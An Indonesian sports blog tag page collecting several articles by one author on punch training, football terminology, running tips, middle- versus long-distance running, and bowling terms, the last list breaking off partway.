Home » olahraga » Page 2
Tag:

olahraga

Bela Diri

5 Tahapan Cara Melatih Pukulan Tangan Agar Keras Dan Cepat

by Rita Nora
written by Rita Nora

Pukulan adalah salah satu jenis serangan beladiri yang menggunakan tangan. Dalam dunia beladiri, pukulan tangan menjadi bagian penting yang tak dapat terpisahkan. Baik tinju, karate, muai thai, kungfu ataupun Pencak Silat. Semua aliran beladiri tak ada yang tak mengandalkan kekuatan pukulan tangan. Kekuatan pukulan tangan bisa dilatih asal cara melatih pukulan tangan agar keras dan cepat dilakukan dengan cara yang tepat. Untuk mencapai hasil yang maksimal, dalam dunia beladiri, haruslah berlatih dengan dengan tepat dan rutin. Latihan-latihan ini akan membuahkan hasil hanya bila kamu istirahat cukup, bergizi seimbang dan rutin latihan.

Lalu, kamu perlu mengetahui cara melatih pukulan tangan keras dan cepat benar agar terhindar dari cedera tak diinginkan. Kekuatan dan kecepatan adalah dua hal yang perlu dilatih sebagai fighter. Tanpa kedua hal tersebut, pukulan kita tidak akan terasa sakit bagi lawan. Kekuatan berfungsi menyebabkan kerusakan pada tubuh lawan agar melemah saat mengenai badan. Terlebih bila itu pukulan telak.

Sedangkan kecepatan berguna agar pukulan kita tidak mudah terbaca oleh lawan dan pukulanmu dapat sampai di tubuh/wajah lawan sebelum disadari oleh lawan. Kekuatan dan kecepatan adalah dua hal yang tak terpisahkan dan harus dilatih secara imbang dan berkala.

Untuk berlatih cara melatih pukulan tangan agar keras dan cepat, tak harus pakai pelatih profesional. Bila kamu amatir yang baru mau mencoba dunia beladiri, tak ada salahnya mempraktikkan cara melatih pukulan agar keras dan cepat.

Cara Melatih Pukulan Tangan agar Keras dan Cepat

Melatih kekuatan dan kecepatan pukulan tidaklah mudah dan membutuhkan waktu. Tetapi bukan berarti mustahil. Semakin giat dan tekun kamu berlatih, semakin cepat kita mendapatkan hasil yang baik. Dalam cara melatih pukulan tangan agar keras dan cepat, kita perlu mengkombinasikan kedua sesi latihan. Kekuatan dan kecepatan. Dan cara melatih pukulan agar keras dan cepat harus dilakukan dengan benar dan sesuai prosedur.

Tetapi, sebelum melakukannya, ada baiknya lakukan pemanasan dan setelahnya pendinginan, agar terhindar dari cedera. Untuk melatih kekuatan pukulan dan kecepatan, lakukan cara melatih pukulan agar keras dan cepat sebagai berikut:

1) Membangun kekuatan otot disekitar tangan

Membangun otot disekitar lengan memang bagus untuk meningkatkan power pukulan. Namun bisa jadi agak menurunkan kecepatan tangan bila terlalu besar. Tidak perlu risau, meski kemungkinan ini memang ada tapi ini terjadi jika anda hanya berlatih mengangkat beban di gym tanpa melakukan cara melatih pukulan agar keras dan cepat dengan rutin. Tak harus selalu angkat beban,membangun otot juga bisa dengan latihan simple seperti push up.

2) Melatih kekuatan otot pergelangan tangan dengan hand grip

Berlatih dengan hand grip selain melatih genggaman tangan, daya tahan lengan serta meningkatkan kekuatan lengan, hand grip juga melatih otot lengan bawah serta otot pergelangan tangan yang sangat penting untuk meningkatkan kekuatan pukulan kita.

Bila tak memiliki hand grip, bisa menggunakan botol kaca yang ukuran pas genggaman. Pegang botol tersebut secara melintang dengan satu tangan, gerak memutar perlahan secara berulang. Latihan ini cukup dilakukan beberapa menit setiap hari.

3) Melatih Kekuatan Pukulan Tangan dengan samsak

Perlu diketahui, berlatih dengan memukul samsak akan meningkatkan kekuatan pukulan. Namun, jika latihan dengan memukul sekeras-kerasnya, kamu bisa mengetahui seberapa besar kekuatan pukulanmu yang sebenarnya. Latihlah sesering mungkin untuk mendapatkan hasil latihan yang maksimal, latihan samsak merupakan salah satu cara melatih agar pukulan keras dan cepat yang resiko cedera-nya kecil jika memukul dengan benar, tapi sebisa mungkin setidaknya menggunakan hand wrap saat berlatih.

4) Melatih kekuatan pukulan dengan makiwara

Berlatih dengan makiwara merupakan cara melatih pukulan agar keras dan cepat yang umum bagi seorang karateka. Untuk menjadi seorang fighter dengan kekuatan pukulan yang bagus tidak semudah membalikkan telapak tangan. Lecet, berdarah adalah wajar saat berlatih dengan makiwara dalam cara melatih pukulan agar keras dan cepat. Tetapi fighter sejati tidak akan menyerah hanya karena ini.

5) Berlatih memukul kertas

Kertas adalah benda ringan tanpa bobot. Karena itu mudah terbawa angin dengan cepat. Oleh sebab itu, cara melatih pukulan agar kuat dan cepat sangat disarankan untuk menambah kecepatan pukulan.

Latihan ini bisa dilakukan dengan cara berikut :

1) Gantung kertas dihadapan kita, pilih kertas tang ringan seperti HVS jangan kertas karton yang berat.

2) berdirilah dengan jarak, (panjang lengan ke depan( + )5 cm).

3) Lalu mulai meluncurkan pukulan ke arah kertas

4) Perhatikan lambaian kertas, untuk mengetahui kecepatan pukulan kalian.

5) Kalau sudah mulai membaik , tambahkan jarak tersebut menjadi 7 s/d 10cm.

Kombinasikan semua cara melatih Pukulan agar keras dan cepat secara berkala. Kamu juga bisa melakukan latihan ini secara selang-seling. Jangan lupa juga untuk istirahat yang cukup dan mengonsumsi makanan sehat bergizi. Berlatih cara melatih pukulan agar keras dan cepat secara berkala akan mampu meningkatkan kekuatan pukulan.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Sepak Bola

Istilah Istilah Dalam Sepak Bola Terlengkap

by Rita Nora
written by Rita Nora

Permainan sepak bola memang sudah terkenal di seluruh Negara di dunia, karna sepak bola sudah di jadikan sebagai pertandingan tingkat international. Sebelum sepopuler sekarang ada beberapa kisah atau sejarah sepak bola yang membuat banyak orang penasaran, bagaimana sih dulu terbentuknya sepak bola? Dimana pada awalnya terdapat cerita masa lalu yang mempunyai nilai sejarah dan juga menjadi salah satu bagian yang tak terlupakan hingga detik ini.

Cerita awalnya permianan sepak bola yang kita kenal sekarang ini, awalnya di mulai pada tahun sebelum masehi / SM tepatnya paa abat ke dua dan ketiga. Nah pada waktu itu pada Negara tionkok di bawah dinasti HAD. Pertamanya permainan ini di mainkan dengan bola yang terbungkus dengan kulit dengan ukuran gawang yang relative kecil sekali jika di bandingkan dengan sepak bola modrn sekarang. Selain tionkok ada juga jepang dan italia yang memainkan permainan semcam sepak bola pada abad ke 16 yang akhirnya berkembang terus menerus.

Dan pada akhirnya inggris mulai memainkan permainan semacam sepak bola juga, akan tetapi malah berujung pada kekarasan. Raja Edward ke 3 pun memberhintkan permainan tersebut.Akan tetapi tepat nya pada tahun 1815 mulai dimainkan di sekolah – sekolah dan unirversitas, dan pada tahun 1863 freemasons travern membuat peraturan sepak bola agar tidak terjadi kekerasan pada saat di mainkan.

52 istilah yang ada dalam olahraga sepak bola

Wajib bagi anda dan kalian semua yang menyukai sepak bola atau bahkan malah sering bermains sepak bola untuk mengetahui semua istilah – istilah yang ada dalam sebuah permaianan sepak bola. Ketika anda suka dengan voli pastinya anda juga harus mengertia semua istilah dalam bola voli. Jika anda tidak mengetahui semua istilahnya maka anda akan sulit untuk mengikuti sebuah pertandingan yang di tayangkan di televisi, karna biasanya sang komentator akan menggunakan istilah – istilah yang ada dalam olahraga tersebut.

Perlu di ketahui juga bahwa mengerti semua istilah yang ada dalam sepak bola merupakan salah satu syarat syarat menjadi pemain sepak bola selain dari latihan fisik sepak bola. Karna banyak juga kasus orang yang sering bermain sepak bola tidak mengerti makna / arti yang ada dalam olahraga sepak bola, nah maka dari itu di sini kita akan membahasanya simak berikut ini :

  1. Adu pinalti, tendangan pinalti yang biasanya di lakukan setelah menerima hasil imbang antara ke 2 tim
  2. Agregat , merupakan jumlah skor setelah bertanding kandang dan tandang
  3. Assist, sebuah umpan kepada orang yang mencetak sebuah gol
  4. Back heel, sebuah gerakan tendangan yang menggunakan tumit kaki yang bertujuan untuk mengelabuhi lawan
  5. Back pass, sebutan untuk umpan yang mengarah ke penjaga gawang, yang bertujuan untuk mengamankan daerah pertahanan.
  6. Ball possession, penguasaan bola dalam suatu pertandingan.
  7. Balon d’Or, sebuah penghargaan sepak bola yang di berikan kepada pemain sepak bola terbaik.
  8. Bicyle kick, sebuah tendangan akrobatik kea rah gawang lawan / salto
  9. Big match, partandingan besar, atau sebuah pertandingan antara ke 2 tim besar.
  10. Blunder, sebuah istilah untuk pemain yang melakukan kesalahan dalam peermaiann sepak bola.
  11. Boxing day, sebuah pertandingan liga premier inggris.
  12. Capocanonieri, pencetak gol terbanyak pada liga seri A / italia
  13. Capolista, sebuah istilah untuk klub yang ada di puncak klasemen di liga italia
  14. Chip bal, sebuah teknik men cungkil bola yang bertujuan untuk mengoper atau membuat gol
  15. Clearing, menghalau bola yang memasuki area pertahanan.
  16. Counter attack, sebutan untuk sebuah serangan balik
  17. Crossing, sebuah umpan lambung/ silang
  18. Defensive, bertahan
  19. Degradasi, tim yang berada di urutan terakhir pada sebuah liga
  20. Diving, pemain yang menjatuhkan diri tanpa sebab
  21. Dribbling, sebuah teknik menggiring bola
  22. El pichichi, sebutan untuk pemain pencetak gol terbanyak pada liga spanyol
  23. El pulso, kartu merah yang di di artikan dalam bahasa italia
  24. Extra time, sebuah tambahan waktu yang di berikan, ketika pertandingan masih seri atau mempunyai poin yang sama,
  25. Fair play, sebuah peraturan yang di berika oleh FIFA
  26. Foul, sebuah pelanggaran baik di sengaja ataupun tidak di sengaja
  27. Free kick, tendangan bebas
  28. Friendly match, sebuah pertandingan persaahabatan, baik antar Negara ataupun antar club.
  29. Full time, akhir waktu normal dari sebuah pertandingan
  30. Gelandang, pemain tengah yang bertugas untuk menyeimbangkan pertahanan dan penyerangan.
  31. Gelandang bertahan, pemain yang bertugas untuk membantu pertahanan.
  32. Gelandang serang, pemain yang bertugas untuk membantu penyerangan
  33. Goal kick, sebuah bola yang di hasilkan dari bola yang keluar lapangan atau melampaui garis
  34. Golden goal, sebuah gol yang di cetak pada masa perpanjangan waktu.
  35. Hands ball, kondisi jika seorang pemain menyentuh bola menggunakan tangan, selain posisi kipper.
  36. Hattrick, pemain yang berhasil mencetak 3 gol dalam satu pertandingan.
  37. Injury time, sebuah waktu tambahan yang di berikan kepada sebuah pertandingan
  38. Jersey , seragam dari setiap tim
  39. Juggling, sebuah gerakan mengankat bola berkali – kali
  40. Kartu kuning, sebuah peringatan yang di berikan oleh wasit kepada peamin yang melakukan pelanggaran
  41. Kartu merah, sebuah peringatan kepada pemain yang melakukan pelanggaran dan mengakibatkan pemain tersebut tidak di perbolehkan mengikuti pertandingan / keluar lapangan.5
  42. Kick off, sebuah awal dimulainya laga / pertandingan
  43. Man to man, penjagaan satu lawan satu
  44. Nutmeg, operan bola yang berhasil melewati tengah – tengah kaki lawan
  45. Offensive, menyerang
  46. Offside, posisi pemain yang berada melebihi semua pemain bertahan musuh
  47. One two, sebuah umpan dari kaki ke kaki
  48. Overlap, menyerang dengan melewati kedua sayap
  49. Parker bus, sebuah strategi untuk bertahan
  50. Passing, sebuah proses mengumpan bola ke teman, pasing merupakan salah satu teknik dasar permainan sepak bola.
  51. Striker, pemain yang bertugas menyerang
  52. Derby, pertandingan antara 2 klub yang berasal dari 1 kota yang sama.

Nah di atas merupakan macam – macam istilah yang ada dalam sebuah permaiann sepak bola, semoga artikel ini dapat membantu anda untuk lebih cepat mengerti dan memahami semua istilah yang ada dalam sebuah permainan sepak bola, agar anda dapat menjadi pemain bintang sepak bola terkenal seperti  Lionel Messi. Siapa yang tidak mau seperti lionel mesi yang terkenal dalam permaianan sepak bola dan mendapatkan gaji yang banyak. Akan tetapi tentunya anda harus berusaha dan berlatih dengan giat dan rajin mengikuti turnamen – turnamen baik besar ataupun kecil yang bertujuan untuk mengukur kemampuan anda, tidak perlu mengincar selalu menang akan tetapi bandingkan dari turnamen sebelumnya dengan sesudahnya apakah kemampuan anda bekembang atau belum berekembang.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari

6 Cara Menjadi Atlet Lari Indonesia yang Mudah Dilakukan

by Rita Nora
written by Rita Nora

Olahraga lari merupakan, olahraga yang sedang naik daun dan banyak di gemari oleh orang. Ada banyak macam olah raga lari seperti , lari jarak pendek, menengah, jauh atau marathon yang berjarak 3000m hingga 4200m. olahraga lari bisa di lakukan di mana saja, baik di luar ruangan atau di dalam ruangan seperti stadion. Nah di karenakan lari memerlukan fisik yang sangat bagus maka anda harus giat berlatih agar tidak mudah lelah.

Khusus nya di Indonesia sekarang olahraga lari seperti marathon merupakan cabang olahraga yang lagi banyak di lakukan. Selain itu marathon merupakan cabang atletik yang tertua dalam sejarah olimpeade kuno. Setiap orang pasti ingin menjadi salah satu atlet lari, jadi banyak yang bertanya – Tanya bagaimana sih cara menjadi atlet lari di indonesi ? nah tenang saja di sini kita akan memberikan tips – tips dan  teknik lari marathon apa saja yang harus anda kuasai agar anda dapat menjadi atlet lari di Indonesia.

Kita semua tentunya menginginkan hasil yang instan, tapi tidak ada yang instan. Jadi anda harus melakukan perubahan seperti latihan, dan bagaimana cara nya anda menjadi cepat dalam berlari, dan latihan lari lainya.

Tips agar dapat berlari cepat :

Tentunya jika anda ingin menjadi atlet lari Indonesia, bukan hanya fisik dan kekuatan otot kaki saja yang anda perlukan dalam sebuah perlombaan lari, akan tetapi kecepatan lari juga di perlukan , karna baik lari jarak pendek , lari jarak menengah, ataupun lari jarak jauh akan menggunakan  teknik lari cepat. Akan tetapi penggunaanya pada waktu yang berbeda – beda, jika lari jarak menengah maka penggunaan kecepatan lari akan di lakukan pada jarak 200m menjelang finish. Nah simak tips di bawah ini agar anda dapat meningkatkan kecepatan lari anda.

1. Melakukan sprint dengan jari – jari kaki menghadap kelangit.

Biasanya orang akan berlari dengan menempatkan telapak kaki rata ke tanah, sehingga jari – jari kaki anda akan menujuk ke arah depan. Menjaga jari – jari kaki anda lurus kedepan sebenarnya malah akan membatasi langkah anda karena anda kan membutuhkan waktu yang sedikit lebih lama untuk mengayuh gerakan kaki anda dan juga akan membuat kaki anda menjadi lebih terasa berat selain itu hal buruknya anda juga akan kehilangan ekstensi di kaki yang berlawanan. Apa itu ekstensi kaki ?

Ekstensi kaki merupakan gerakan untuk meluruskan kaki sehigga anda bisa menggunakan otot bokon anda hingga ke kapasitas maksimalnya. Setelah itu mendaratlah dengan kaki bagian depan dengan pijakan yang sedikit lebih lembut. Semua perpindahan itu akan memaksa pinggul dan panggul anda mendorong tubuh anda sehingga akan lebih efisen tanpa harus membuang energy yang banyak. Tips ini juga dapat menjauhkan anda dari salah 1 macam jenis cedera saat berlari.

2. Ayun kan tangan anda sekencang mungkin saat berlari

Nah pasti anda sering melihat sesorang yang mengayunkan tanganya dengan cepat saat berlari. Cara berlari seperti itu akan memberikan dorongan kecepatan lari. Anda dapat mengepalkan tangan anda dengan posisi ibu jari berada di dalam kepalan yang bertujuan untuk menengangkan otot lengan atas anda. Nah setelah itu anda dapat mengayunkan tangan anda ke belakang. Apa saja yang diuntungkan ketika anda melakukan gerakan ini ? anda akan menerima bantuan elastisitas dari otot dada anda dan juga aspek interior bahu yang berarti akan mengglontorkan sedikit kekuatan.

3. Pengaturan nafas saat berlari.

Anda dapat mengatur pernafasan anda saat berlari dan men selaraskan nafas anda dengan langkah kaki anda. cara bernafas saat berlari ini akan membuat anda berlari lebih cepat dan juga efisien. Selain itu hal ini akan menjadi pemandu yang akan memberi tahu anda ketika anda  berlari terlalu keras dan kurang keras. Anda dapat menemukan ritme pernafasan anda dengan mencoba menggunakan ritme satu langkah kaki satu tarikan nafas dan dua langkah kaki untuk satu hembusan nafas.

4. Ganti – ganti kecepatan lari anda

Berlari langsung sekuat tenaga malah akan menghabis kan energy anda dan itu merupakan bukan salah satu kunci menjadi pelari yang cepat. Untuk melatih lari anda , anda bisa berlatih lari dengan alur / gerakan kaki yang santai dan ringan tidak terlalu cepat dan tidak terlalu lambat. Nah setelah itu anda dapat menaikan keceapatanya secara bertahap ke tingkat yang anda inginkan, jika anda memulai perlombaan dengan lari yang terlalu cepat anda dapat beresiko kehabisan tenga di awal pertandingan.

Ingat banyak atlet lari yang menyarankan untuk mencampur kecepatan lari anda / berlari dengan menggunakan tempo, anda dapat memulai latihan setidaknya seminggu 2 x  hal ini bertujuan untuk melatih kekuatan / ketahanan jantung anda.

5. Melakukan pendinginan setelah latihan / perlombaan

Setelah melakukan latihan  5 – 10 menit anda dapat melakukan pendinginan atau melakukan peregangan secara menyeluruh, jangan malah langsung melanjutkan aktivitas fisik yang membutuhkan tenaga lainya. Ketika anda memaksa melakukan kegitan itu maka anda dapat mengalami kaki beton atau berat di sepanjang hari. Jadi lakukanlah peregangan sederhana yang bertujuan untuk mendinginkan tubuh anda dan pelepasan asam laktat yang di produksi oleh otot anda.

6. Mengatur postir tubuh saat berlari

Pada olahragalari khususnya lari cepat, postur tubuh saat lari merupakan salah satu teknik lari sprint untuk penentu kecepatan lari dari seorang atlet. Ketika anda ingin berlari dengan performa yang maksimal / cepat , tentu postur tubuh anda pun perlu di lihat dan di perhatikan. Semua atlet pelari wajib tahu bagaimana postur badan yang dapat membuat ia dapat berlari dengan cepat sekaligus menghemat energinya.

Anda dapat berlari dengan postur tubuh yang lurus / tegak , jangan menekuk tuubh anda karna dapat menggangu pernafasan anda. Ketika postur tubuh anda lurus maka akan membuat ruang perut dan dada anda akan lebih luas untuk mengatur jalanua pernafasan, dan juga akan mencegah terjadinya kram pada area perut.

Tips memilih sepatu lari

Nah selain dari 6 tips di atas anda dapat juga memperhatikan sepatu apa yang anda gunakan, usahakan anda sudah mengerti  cara memilih sepatu lari. karna sepatu lari mempunyai banyak jenisnya, dan beban sepatu lari pun berbeda – beda anda dapat menggunakan yang paling ringan ataupun yang cukup ringan tergantung kebiasaan anda dan usahakan jangan memilih sepatu yang longgar dan tidak muat tapi di paksakan, karna dapat membuat anda mengalami cidera saat berlatih ataupun dalam perlombaan lari.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Perbedaan Jarak Tempuh Lari Menengah dan Jauh yang Wajib Dipahami

by Rita Nora
written by Rita Nora

Berbeda dari lari jarak pendek ataupun jarak jauh, lari jarak menengah merupakan salah satu cabang lari yang menggunakan panjang lintasan 800m dan 1500m. Jika kita lihat dari namanya maka jelas akan berbeda dalam hal jarak jika kita bandingan dengan lari jarak pendek dan lari jarak jauh. Maka dari itu persiapan dan latihan yang di lakukan oleh masing – masing atlet pun berbeda – beda.

Pada lari jarak menengah, para alet tidak hanya di tuntut untuk berlari dengan cepat, akan tetapi pelari juga harus dapat mengatur pengeluaran energy, nafas, dan alur kecepatan. Ketika dalam lari jarak pendek para atlet harus lari sekencang – kencangnya atau sprint untuk memenangkan perlombaan. Nah sedangkan untuk pelari jarak menengah ada kalanya untuk para atlet mempertahankan kecepatan larinya yang bertujuan untuk mengemat tenaga di putaran mendekati putaran akhir.

Rata-rata para atlet lari jarak menengah akan mengeluarkan semua tenaga dan kecepatanya di putaran akhir atau menjelang garis finish, akan tetapi mengeluarkan energinya secara bertahap dengan menambahkan kecepatan sedikit – demi sedikit. Seperti yang telah kita sampaikan di atas tadi. Nomor atau panjang lintasan pada lari jarak menengah ada 2 yaitu 800 meter dan juga 1500 meter.

Lari jarak jauh

Lari jarak jauh biasa di sebut juga dengan lari marathon dan tekniknya juga sama dengan Teknik lari marathon, merupakan salah satu cabang olahraga lari. Selain lari jarak jauh, ada juga lari jarak pendek dan jarak menengah seperti yang kita sudah jelaskan di atas tadi. Lari jarak jauh mempunyai jarak tempuh sejauh 42.195 km/kilometer. Lari jarak jauh atau lari marathon ini merupakan perlombaan atletik pertama yang dilombakan di olimpiade kuno. Dimana para atlet pertama kali di pertanding kan tepatnya pada tahun 490 SM.

Lari jarak jauh juga masih lekat  dengan sejarah bangsa dari yunani kuno di mana seorang prajurit yang mempunyai nama pheidippides. Pada awalnya pheidipides di utus menyampaikan pesan yang menyatakan bah wa Persia telah  berhasil di kalahkan di marathon. Nah prajurit tersebut mulai berlari tanpa berhenti menuju ke Athena untuk menyampaikan pesan tersebut. Pada akhirnya phedippedes berhasil menyampaikan pesanya. Akan tetapi tidak selang beberapalama ia meninggal setelah menyampaikan pesan tersebut.

Perbedaan cara dan jarak, lari jarak menengah dengan lari jarak jauh 

1. Lari jarak menengah

  • Lari jarak menegah mempunyai panjang lintasan 800 dan 1500m
  • Saat start gerakan lari lebih ringan dan relks dan tidak di lakukan dengan langsung mengeluarkan segala energi seperti lari jarak pendek, akan tetapi kecepatan akan di tambah secara perlahan hingga sampai ke garis finish.
  • Teknik start lari jarak menengah menggunakan standing start atau start berdiri untuk jarak 1500m, akan tetapi untuk jarak 800m menggunakan croucing start atau start jongkok.
  • Pada saat lari jarak menengah, teknik pendaratan kakipun juga berbeda, pendaratan kaki saat berlari menggunakan ujung kaki – tumit dan menolak dengan bagian ujung kaki lagi. 

2. Lari jarak jauh

  • Lari jarak menegah mempunyai panjang lintasan 42.195km / kilometer
  • Lari jarak jauh menggunakan start berdiri / standing start
  • Saat berlari anda harus mengatur bernafasan dengan baik agar energy anda tidak terbuang karna panjang lintasan lari jarak jauh ini sangatjauh. Anda dapat mengatur pernafasan melalui mulut.
  • Anda dapat menggunakan langkah kecil – kecil untuk berlari agar tidak terlalu membuang tenaga.
  • Lari jarak jauh berlri menggunakan titik tengah dari telapak kaki .

Tips untuk pelari jarak menengah

Untuk seorang atlet lari jarak menengah anda harus belajar berlari dengan santai dan selalu mengontrol gerak kaki agar rotas pinggul juga terkendali. Ada sebuah pedoman dasar yang harus anda ingat yaitu “ lebih lambat lombanya, lebih pende k jarak lang k ah, dan juga lebih cepat lomba, maka lebih panajang jarak langkahnya” . ketika anda memasuki putaran ketiga anda biasanya memasuki masa kritis atau lelah. Baiasanya ada yang malah langsung tertinggal jauh dari yang lainya. Nah maka dari itu anda harus mengatur pernafasan anda dan menghemat tenaga anda untuk berlari dengan kencang ketika memasuki putaran terakhir, dan usahakan jangan tertinggal jauh dengan yang lain. Biasanya anda dapat berlari kencang menghabiskan tenaga anda 200m sebelum finish.

Tips untuk seorang pelari / atlet lari jarak jauh.

Dalam lari jarak jauh biasanya atlet di haruskan mempunyai fisik yang harus benar benar fit dengan melakukan  persiapan lari marathon, dan juga harus mempelajari cara pengaturan nafas untuk lari jarak jauh, karna jika di liat lari jarak jauh ini mempunyai jarak yang berbeda jauh sekali dengan lari jarak menengah, lari jarak jauh mempunyai panjang lintasan 42.195. Anda harus berlatih fisik setiap harinya agar kaki anda terbiasa lari sejauh itu. Anda dapat melatih otot kaki anda denga olahraga lari kecil – kecil menaiki dan menuruni tangga.  

Dalam lari jarak jauh , kecepatan lari kurang di perhatikan akan tetapi yang di perhatikan adalah ketahanan fisik anda dan cara bernafas anda. Anda dapat mengatur pernafasan anda agar selalu lancar dan tidak ter engeah – engah, anda dapat memanfaatkan mulut untuk bernafasa. Akan tetapi jika anda sudah menguasai semua itu , selanjutnya anda juga dapat menguasai cara meningkatkan kecepatan lari sebagai latihan tambahan anda.

Dalam latihan baik latihan untuk lari jarak jauh ataupun lari jarak menengah anda dapat mengalami 1 dari jenis cidera saat berlari maka ada baiknya anda menjalani pemanasan terlebih dahul agar terhindar dari cidera yang mengancam anda. Cidera tidak hanya di sebabkan karena anda tidak melakukan pemanasan ataupun kesalahan dalam latihan. Akan teteapi cidera juga dapat di alami ketika anda tidak menggunakan perlengkapan yang memadahi dan tepat.

Salah satunya adalah sepatu, ketika anda tidak menggunakan sepatu yang tepat untuk lari maka kaki anda dapat lecet ataupun sakit dan terasa berat ketika berlari. Maka dari itu anda perleu memperhatikan juga pemilihan sepatu lari untuk latihan atau lomba lari. nah oleh sebab itu anda harus mengusaai tata cara memilih sepatu lari yang benar dan tepat agar tidak salah. Tidak hanya seorang pelari saja yang memerlukan perlengkapan yang memadahi dan lengkap agar tidak terjadi cidera akan tetapi semua olahraga juga membutuhkan perlengkapan yang memadahi seperti layaknya perenang juga yang harus menguasai  cara memilih kacamata renang yang benar agar dapat melihat dan nyaman ketika di pakai di dalam air.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Olahraga A - Z

57 Istilah Dalam Olahraga Bowling yang Wajib Diketahui

by Rita Nora
written by Rita Nora

Bowling merupakan salah satu olahraga yang dimainkan dengan cara menggulirkan atau menggelindingkan bola dengan menggunakan tangan. Bola bowling di lempar kea rah pin, dengan jumlah pin 10 dan sudah di susun beberntuk segitiga. Saat semua pin dapat di jatuh kan dalam sekali lemparan bola disebut dengan strike. Akan tetapi ketika pin tidak jatuh sekaligus maka pemain di berikan kesempatan lagi sehingga dapat menjatuhkan semua pin yang tertinggal.

Ketika lemparan kedua semua pin berhasil di jatuhkan , maka di sebut spare. Akan tetapi ketika setelah lemparan kedua masih ada pin yang belum jatuh maka akan di sebut dengan missed, semua itu tentunya akan menentukan angka poin dari sepemain tersebut. Untuk bermain bowling anda harus menguasai teknik dasar bermain bowling terlebih dahulu seperti halnya ketika anda ingin bermain sepak bola anda harus menguasai teknik dasar permainan sepak bola dan  teknik dasar dalam permainan sepak bola ketika anda ingin bermain sepak bola.

Sejarah bola bowling ?

Nama pertama dari olahraga bowling sebenarnya adalah 10 pin bowling. Permainan ini bertujuan untuk menjatuhkan sepuluh pin sekaligus dengan menggunakan kesempatan 2 lemparan. Jarak atau panjang line bola bowling adalah 60 kaki atau sekita 18,28m dengan lebar 3,5 kaki atau sekitar 1,07m dan mempunyai 2 jalur gutter yang terletak pada kanan dan kirinya.

Olahraga bowling pertamanya di populerkan oleh seseorang dari belanda yang pada saat itu daatang ke amerika pada tahun 1600-an. Bowling sebelumnya di berinama “dutch pins”. Belanda sendiri bowling tidak begitu terkenal malah orang – orang inggris yang mengenalkanya pada tahun 1100-an.

Di eropa juga Negara yang mempopulerkan bowling yaitu jerman. Karna jerman juga mempunyai permainan yang sejenis dengan olahraga bowling ini, semua itu bermula saat para arkeolog menemukan sebuah bola dan pin yang di gunakan untuk memainkan bola bowling, dan yang membuat menariik sang arkolog tersebut menemukanya pada pemakaman anak – anak mesir yang sudah berumur sekitar 5200SM (Sebelum mashehi ).

Istilah – istilah yang ada dalam olahraga bowling

Ternyta bola bowlin juga mempunyai aturan layaknya olahraga yang lainya seperti  peraturan permainan bola voli yang ada dalam olahraga bola voli. Karna ketika anda sudah mengetahui aturan – aturan nya anda dapat menghindari kesalahan / pelanggaran dalam sebuah permainan, seperti contohnya Pelanggaran dalam bola basket, untuk permainan bola basket.

Selain itu anda juga harus tau semua istilah – istilah yang ada dalam bola bowling, agar saaat anda sedang menonton permainan bowling atau akan belajar bowling anda sudah mengeatahui semua istilah yang ada dalam bowling, sehingga akan mempermudah anda.

  1. Alley, merupakan sebuah arena untuk bermain bowling.
  2. Anchor, sebuah giliran pemain terakhir dalam 1 kompetisi beregu
  3. Approach, lintasan atau tempat untuk para pemain melempar bola
  4. Arrow, tanda panah yang berguna sebagai patokan / tujuan pelemparan bola bowling
  5. American style, bermain pada 2 jalur untuk 1game
  6. Baby split, pin yang tinggal bernomor 2-7 ataupun 3-10
  7. Baby splith with, pin yang tinggal bernomor 2-7 ataupun 3-9-10
  8. Backup, bola bergelinding di dengan putaran yang mengarah kekanan.
  9. Barmaind, sebuah pin yang tersembunyi di balik pin yang lain, biasanya juga di sebut dengan sleeper.
  10. Bedspots , soplit pada pin nomor 7-10, biasa juga di sebut dengan big four.
  11. Big ears, kondisi pin yang tertinggal dengan nomor 4-6-7-10
  12. Blind score, merupakan hitungan angka pada bowler
  13. Bonus , hitungan angka pada bowler yang tidak datang pada suatu league
  14. Box, bagian dari satu game , biasa juga di sebut dengan frame.
  15. Brooklyn, lemparan bola yang masuk pada bagian kiri dari head pin.
  16. Bucket, pin yang tinggal dengan nomor 2-4-5 bowler tangan kanan ataupun 3-5-6-9 untuk bowler tangan kiri.
  17. Chop, ketika bola mengenai pin depan, akan tetapi pin belakang dan kiri kananya tetap berdiri.
  18. Double strike, melakukan dua kali strike secara berturut – turut
  19. Double wood,  posisi dua in , yang satu berada langsung di belakang pin yang lain sama seperti 1-5, 2-8, 3-9.
  20. Christmas trace, hanya tingggal pin3-7-10 bagi bowlwer kanan dan 2-7-10 untuk bowler kiri.
  21. Counter, suatu tempat untuk mengatur jalanya atau line
  22. Dime stare, terjadi sebuah split pada pin 5-10.
  23. Dutch200, jumlah angka mencapai 200 pada suatu game.
  24. Dead ball, perputaran bola yang jelek, di karenakan bola hanya menggelinding lurus.
  25. Eror, spare yang dilakukan gagal, atau juga biasa di sebut dengan blow.
  26. European style, bermain satu jalur untuk satu game
  27. Event, jenis – jenis permainan
  28. Format, merupakan suatu system permaianan.
  29. Foul line, menyentuh sesuatu yang ada di luar jalur .
  30. Foul, menyentuh area terlarang
  31. Frame, 1 game terdiri dari 10 bagian atau frame
  32. Golden gate, pin yang tertinggal nomor 4-6-7-10, sama dengan big ears
  33. Gulter, slokan
  34. Handicap, sebuah angka yang di berikan kepada individu ataupun regu dalam sebuah usaha menserasikan pertandingan.
  35. Haeadpin, pin nomor 1 
  36. House award, sebuah hadiah yang di berikan dari bowling centre.
  37. House ball, bsebuah bola yang di sediakan untuk setiap bowling centre
  38. Highg game, sebuah angka tertinggi yang di capai oleh seorang pemain dalam satu game
  39. High series, sebuah angka tertinggi yang di capai oleh pemain dalam satu seri gameatau 3 – 6 game.
  40. In there, sebuah pukulan pocket yang bagus
  41. Jersey side, munju headpin
  42. Kingpin , pin yang bernomor 5
  43. Kegler, pemain bowling , atua juga bowler
  44. Lane, sebuah jalur
  45. League, sebuah pertandingan beregu yang di lakukan secara berkala
  46. Line up, formasi pemain bowler pada suatu game atau event
  47. Lofting, merupakan cara melemparakan bola yang salah, yang berdampak berbunyi keras pada line
  48. Mark, merupakan tanda strike atau biasa di sebut juga dengan spare.
  49. Marathon, sebuah pertandingan yang di mainkan sebanyak 40 – 69 game
  50. Murphy, sama halnya dengan baby split
  51. Nose hit, sebuah lemparan bola pertama yang pas mengenai pada headpin
